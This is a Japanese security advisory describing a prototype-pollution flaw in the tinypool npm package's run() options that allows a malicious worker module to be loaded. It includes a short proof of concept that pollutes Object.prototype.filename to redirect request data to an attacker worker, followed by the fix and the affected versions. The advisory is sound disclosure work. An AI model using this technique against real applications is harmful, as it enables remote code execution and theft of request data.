Tinypool: プロトタイプ汚染により、`run()`オプションでリモートコード実行が可能になる脆弱性

`tinypool`は`piscina`の派生であり、同じプロトタイプ汚染の脆弱性を受け継いでいます。`pool.run(task, options)`が呼び出される際、`filename`オプションが提供された`options`オブジェクトから読み込まれます。もしそのオブジェクトに独自の`filename`プロパティが存在しない場合、`Object.prototype`を参照することになります。

攻撃者が`Object.prototype.filename`を汚染できる場合(例えば、脆弱な`lodash.merge`や`qs.parse`など、アプリケーション内の他の場所で)、tinypoolは攻撃者が制御するワーカーモジュールをロードして実行する可能性があります。

これは、piscinaにおけるルートディレクトリの発見に関する脆弱性[GHSA-x9g3-xrwr-cwfg](https://github.com/piscinajs/piscina/security/advisories/GHSA-x9g3-xrwr-cwfg)に対応するものです。

`pool.run(task)`を第2引数なしで呼び出した場合は影響を受けません。なぜなら、`kDefaultOptions.filename`は`null`であり、オプションオブジェクトがユーザーによって制御されないためです。この脆弱性は、呼び出し元が独自のオプションオブジェクトを`pool.run()`に渡した場合にのみ発生します。

## 影響

ワーカープール内での任意のJavaScript実行。アプリケーションが攻撃者が制御するデータを`run()`タスクとして渡し、さらに`run()`オプションオブジェクトも提供した場合、攻撃者は悪意のあるワーカーに実行をリダイレクトし、そのデータを外部に送信したり改ざんしたりすることで、リモートコード実行やデータ漏洩を達成する可能性があります。

## 実証コード

```js
// legitimate-worker.mjs
export default async (task) => ({ by: 'legitimate-worker', processed: task })

// malicious-worker.mjs
export default async (task) => ({ by: 'attacker', stolenRequestBody: task })

// main.js
import express from "express";
import Tinypool from "tinypool";
import { fileURLToPath } from "node:url";
import path from "node:path";

const __dirname = path.dirname(fileURLToPath(import.meta.url));

// 上流のプロトタイプ汚染をシミュレート (lodash merge, qs parseなど)
Object.prototype.filename = path.join(__dirname, "malicious-worker.mjs");
```

```
const pool = new Tinypool({
filename: path.join(__dirname, "legitimate-worker.mjs"),
});

express()
.use(express.json())
.post("/", async (req, res) => {
const ac = new AbortController();
const result = await pool.run(req.body, { signal: ac.signal });
res.json(result);
})
.listen(31337);
```

## 提案された修正点

ユーザーから提供されたすべてのオプションを、自身のプロパティからのみ読み込みます(`Object.hasOwn` または `Object.prototype.hasOwnProperty.call`を使用)。そして、内部の `ThreadPool.options` オブジェクトを、null プロトタイプで構築します。

影響を受けるパッケージ:
- npm (JavaScript) tinypool: 影響あり (バージョン 2.1.2 未満)、修正済み (バージョン 2.1.2)
```